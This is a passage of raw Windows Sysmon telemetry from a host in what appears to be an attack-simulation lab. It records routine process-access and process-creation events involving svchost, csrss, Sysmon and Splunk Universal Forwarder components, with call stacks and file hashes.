09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006063Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006062Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006061Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006060Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006059Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006058Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2A4A-5F80-5A01-000000007F01}3932C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006057Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.554{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A4A-5F80-5A01-000000007F01}3932C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006056Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:54.555{A5F018FF-2A4A-5F80-5A01-000000007F01}3932C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A4B-5F80-5C01-000000007F01}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006095Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006094Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006093Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006092Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006091Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006090Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006089Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006088Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006087Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006086Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2A4B-5F80-5C01-000000007F01}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006085Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.992{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A4B-5F80-5C01-000000007F01}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006084Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.993{A5F018FF-2A4B-5F80-5C01-000000007F01}4144C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006083Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.507{A5F018FF-2A4B-5F80-5B01-000000007F01}37644848C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006082Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A4B-5F80-5B01-000000007F01}3764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006081Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006080Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006079Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:55.367{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KER